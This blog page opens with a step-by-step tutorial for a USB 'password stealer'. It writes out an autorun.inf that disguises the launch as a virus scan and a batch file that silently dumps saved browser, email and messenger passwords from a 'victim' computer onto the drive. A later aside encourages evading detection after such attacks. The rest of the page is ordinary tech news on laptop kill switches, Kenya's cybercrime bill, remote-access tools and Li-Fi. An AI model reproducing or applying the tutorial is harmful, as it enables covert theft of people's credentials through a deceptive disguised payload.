Creating a USB Password Stealer #Pentesting #USB #Passwords #Infosec #Security

One of the most dangerous things we all do on a regular basis, for obvious reasons, is saving our passwords in our browsers. We don't really think about the dangers in it, we see the convenience in not having to input (in my case) 10 characters after already typing our username or email every time we want to do something as simple as log in to Facebook. Well this tutorial can show you how dangerous it really is just storing your passwords for easy access to your accounts.

I want everyone to keep in mind, this tutorial is strictly for educational purposes, & any attempts to use these tactics for stealing information without permission is solely on you. Don't go tattling on me.

What you'll need:

A USB Drive, preferably 2GB+

A Windows computer

MessenPass: Used for recovering passwords from various instant messenger applications.

Mail PassView: Used to fetch passwords from popular email clients such as Outlook or Thunderbird.

IE PassView: Used to gather passwords stored by Internet Explorer (for those who just can't accept change..)

Protected Storage PassView: This program retrieves passwords from Windows 'protected storage'. This is one of the most useful.

PasswordFox: Used to fetch passwords & sensitive information from Firefox.

Now, there are many others that you can add to this USB Password Fetcher, & if you know of any that you feel should be added to this article, don't hesitate to comment.

Preparing the drive

Before anything else, we want to get all the applications ready to go & installed on the USB drive. You'll ONLY need the executable (*.exe) files to be on the USB drive. Download the 5 tools & extract the executables to the drive. With the next step, we'll write a simple Autorun.inf file that will tell the victim's computer to run these applications.

Making the drive run automatically

What is an autorun.inf?

An autorun.inf file is a text file that can be used by the AutoRun and AutoPlay components of Microsoft Windows operating systems. For the file to be discovered and used by these component, it must be located in the root directory of a volume. As Windows has acase-insensitive view of filenames, the autorun.inf file can be stored as AutoRun.inf or Autorun.INF or any other case combination.

The AutoRun component was introduced in Windows 95 as a way of reducing support costs. AutoRun enabled application CD-ROMs to automatically launch a program which could then guide the user through the installation process. By placing settings in anautorun.inf file, manufacturers could decide what actions were taken when their CD-ROM was inserted. The simplest autorun.inf files have just two settings: one specifying an icon to represent the CD in Windows Explorer (or "My Computer") and one specifying which application to run.

This file will tell the victim's computer to run the various tasks we want the USB drive to perform.

Writing the Autorun.inf

Open Notepad & paste the following code in the document:

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

Now go to File & click Save As..

Save the file as: autorun.inf on the USB Drive's root.

Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

This alone won't do what we need it to, but as you can see its launching a batch(*.bat) file that we'll write next that will perform the password fetching process. The reason we do this is because we can perform more advanced tasks with a batch file than we can with an autorun.inf.

The ACTION= will display to the end user what the USB Drive's function is. We both know that its not performing a virus scan, but we wouldn't be very stealthy if it just read STEALING YOUR PASSWORD. U MAD BRO? so we're going to disguise this as a healthy computing task.

Writing the batch file

Open up Notepad again, & paste the following:

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Aside from launching the various applications, we're actually asking the computer to log everything in an individual text (*.txt) file. Now if you really want to, you could ask the computer to create one universal log file, but I wouldn't recommend this. Its much easier to decipher this way.

Go to File, & Save As.. and save this file as launch.bat on the USB drive's root. Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

Now everything should be ready for testing!

Testing the USB Password Fetcher

Now keep in mind, in some cases, Autorun could be completely disabled, in which this tactic will not work, but let's get started with our first test.

Pop the USB Drive in any available USB port on the victim machine, & an autorun prompt will pop-up. The first option should say Perform A Virus Scan. Perform your "virus scan" & silently, your password fetcher is throwing all the information into various text files on your USB Drive. This process is relatively quick, so don't fret if you blinked & missed it.

Enjoy those passwords

Pull your drive from the victim computer & plug it into your personal computer. This time, to view the passwords, choose Open folder to view files from the autorun menu, & check your text files.

Intel Developing RFID Tracking and Remote Controlled 'Kill Switch' for Laptops #Intel #KillSwitch #Theft

 

 

Kill Switch - the ability to render devices non-operational to prevent theft - has become a hot topic nowadays. The ability to remotely destroy data of the device lost or stolen has been available for quite some time now, but Kill switch not only remotely destroy the devices’ data but also the device itself, making it useless for the thieves.

Just last week, Google and Microsoft signed an agreement with the New York Attorney General to add "kill switches" to the upcoming versions of Android and Windows Phone devices, as a part of the "Secure our Smartphones" initiative.

But now, the largest chip manufacturer, Intel will soon going to provide Kill Switches for your laptops as well. The company has been working on a project called Wireless Credential Exchange (WCE) with several partners in an effort to bring Kill switch to other mobile devices, including laptops.

The project uses RFID technology to provision, track and monitor devices such as laptops, hospital equipment and other devices, including a Kill Switch option for the lost or stolen devices.

You all might have heard about the RFID technology, which has been available for more than fifty years. RFID, stands for Radio-frequency identification, is the wireless non-contact use of Radio-Frequency electromagnetic fields to transfer signals, for the purposes of automatically identifying and tracking tags attached to objects.

The Wireless Credential Exchange (WCE) uses the Monza RFID chips developed by Impinj, industry-standard RFID readers created by Technology Solutions UK and a cloud-based data repository and dashboard created by Burnside Digital called IPTrak software.

The IPTrak software that ties all components together, allows Intel SoC to read and write data such as unique IDs, error logs, permissions, and device configuration to the Monza chip, even if the system is powered off.

Devices can be scanned using a RFID reader and data from the IPTrak software stored in a cloud-based database and accessed via IPTrak mobile device apps for Windows, iOS, or Android applications using Bluetooth technology.

For example, It has ability to disable a device prior to shipping and then only reactivating the device once it reaches its final destination. This would render a device useless if it were lost or stolen during shipment.

In addition to this, devices returned to a factory or repair center could be scanned, error logs read, and the device routed to the appropriate technicians without even opening the box.

Two years back, Intel added ‘Kill Switch’ to its Sandy Bridge processors naming them Anti-Theft 3.0, using which the processor can be disabled even if the computer has no Internet connection or isn't even turned on, over a 3G network, so that if computer is lost or stolen, it can be shut down remotely.

 

Posted Courtesy of Hacker News Website

 

Tough Law on Cybercrime Targets All Kenyans #Hackers #Hacking #Cybercrime #Cyberbulling #Kenya

Kenya still relies on Central Depositories Act and the Penal Code, among other frameworks, that are not clear with regard to arresting and prosecuting cyber-crime suspects. Previously, Kenyans courts were limited in trying offenses committed outside the country. Those found guilty will either be fined up to Sh2 million, be jailed for three years, or both.Courts in the country will soon have jurisdiction to try any Kenyan citizen who commits an offense anywhere in the world if the Cybercrime and Computer Crimes Bill, 2014 becomes law.

The Bill, which was drafted by the office of the Director of Public Prosecution and is to be tabled in Parliament, proposes actions for offence committed in and outside Kenya.

“We need these laws and once in place we have to sensitise Kenyans so that we can deal with cybercrime,” Deputy Director of Public Prosecutions Dorcas Oduor said when opening a forum for stakeholders to discuss the proposed Bill this week. (READ: There’s urgent need for internet law)

Previously, Kenyans courts were limited in trying offences committed outside the country.

DISCLOSE PASSWORDS

Those found guilty of committing the offence on a ship or aircraft registered in Kenya, using a Kenyan domain name or outside the territory of Kenya will also be prosecuted.

They will either be fined up to Sh2 million, be jailed for three years, or both.

Evidence generated from a computer system will also be admissible in a court of law while prosecuting such a crime.

The Bill also proposes that a person who causes a computer system to perform a function, knowing that the access they intend to secure is unauthorised, commits an offence.

“A person who intentionally and without lawful excuse or justification, inputs, alters, delays transmission, deletes, or suppresses computer data, resulting in inauthentic data with the intent that it be considered or acted upon for legal purposes as if it were authentic, commits an offence and is liable upon conviction to a fine not exceeding ten million or ten years imprisonment or both.”

EMOTIONAL DISTRESS

The Bill also proposes that a person who sells, lets to hire, distributes, publicly exhibits through a computer system and puts into circulation, or for purposes of sale, hire, distribution, public exhibition or circulation, makes, produces or their possession any obscene book, pamphlet, paper, drawing, painting, art, representation or figure or any other obscene object commits an offence.

Those using computers to threaten, abuse or insulting words or behaviour, displays publishes or distributes written or electronic material; or distributes, shows or plays, a recording of visual images will be held accountable.

The Bill also proposes action on a person who uses a computer system including electronic communication to harass, intimidate or cause substantial emotional distress or anxiety to another person.

These include communicating obscene, vulgar, profane, lewd, lascivious, or indecent language, picture or image.

Courts will also issue a warrant authorising a police officer or lawful authority, to enter any premises to access, search and seize the thing or computer data.

All public or private corporations processing personal data will be expected to report any security breaches resulting in theft, loss or misuse of data to the police and those who will fail will be committing an offence.

 Depicted from The Daily Nation

Is it worth it?! For others, they need that rush, that adrenaline flow in their blood,so its a fruit that must be eaten-I have one phrase to guide you; that's if you can't stay away from that adrenaline rush: 'Make it hard for them to find you, and impossible for them to prove they've found you' *Winks* Happy Hunting

Access Your Personal Computer(PC) From Anywhere #RemoteAccess #VPNs #Encrypt

If you are traveling and you need a file which resides in your Personal Computer then what will you do? By now you may be stuck in between your presentation because you’re missing one crucial file *Been There, Done That*

There’s a mechanism that can aid you in accessing your personal computer from anywhere, NO, not via cloud computing but through remote PC you can access your personal computer from anywhere in the world!!!

Tools You Can Use To Access Your PC Remotely:

One Can use the below tools to access his/her PC via mobile phone or another computer

Opera Unite, by using this tool one can easily turn his computer into a web server and can access documents on that computer from any other web browser. Opera Unite is a standard web server and it allows us to download files directly from the computer without uploading.

Copernic is popular desktop accessing software that is used to find emails, pictures and other files on Windows computer. Copernic also have a component called myCopernic on the Go for remotely searching the content stored on the home or office computer. One can preview the search results and then download them to your mobile phone or remote PC.

Another option is GBridge, it allows you to setup a virtual private network using your Google Account. Nowadays many companies are using VPNs to let employees access their data over an unsecure public network (Internet) with this tool. It also allows home users to build their own VPNs to access remote files more securely.

But in my personal opinion the best option is Windows Live Sync at sync.live.com for remotely accessing files over the Internet. You have to just install the Live Sync client on your computer and you can access the entire hard drive of that computer simply through the Windows Live Sync website. Live Sync is available for both Mac and Windows.

Last but not least this kind of remote access can be compromised or hacked one way or another *Keep an open mind Mr./Ms.* especially if you don’t update your system regularly, exploits, zero-day exploits are discovered and exploited every single day. Of course you’re also advised to encrypt files no matter how small-but this depends with the sensitivity of the files: there’s nothing called Privacy nowadays unless you classified it as one-Just do it, don’t be stubborn, keep your files far away from the preying eyes of the likes of National Intelligence Agency (NSA)-Remember if you’re a target they will find a way in, for example they might just show up on your door*Giggling* That just buys you some time and act as a deterrent.

Thanks for Visiting

Li-Fi:Technology That Uses Light Bulb To Establish Internet #Technology #Innovation #Internet #China

A team of Chinese experts and specialists have successfully developed, and  experimented an innovative way of gaining access to the Digital World of the Internet using the signals sent through the Light Bulb instead of Radio Waves as in Wi-Fi. Scientists named it Li-Fi.
In case if you don’t know, Wi-Fi operates in the frequency range between 2.4 and 2.483 GHz. IEEE 802 (11a operates in the frequency range from 5.725 to 5.850 GHz.
These are often referred to as the “2.4 GHz” and “5GHz” bands). The term Li-Fi may not be new to many ears; in fact it is around since 2011, when Harald Haas had first used it in his TED Global talk on Visible Light Communication on this very context.
The Li-Fi technology operates under the principle that light can be used to carry Signals as an alternative to traditional radio frequencies; it keeps serving as long as there is no blockage of any kind, between the Light source and a Computer. Chi Nan, the I.T Professor at Shanghai’s Fudan University, who also leads the Li-Fi research team (which includes scientists from the Shanghai Institute of Technical Physics of the Chinese Academy of Sciences) have said that, “One-watt LED Light Bulb may establish an Internet connection for four

Electronic Gadgets at once.”, she added that, “A light bulb with embedded microchips can produce data rate as fast as 150Mbps.”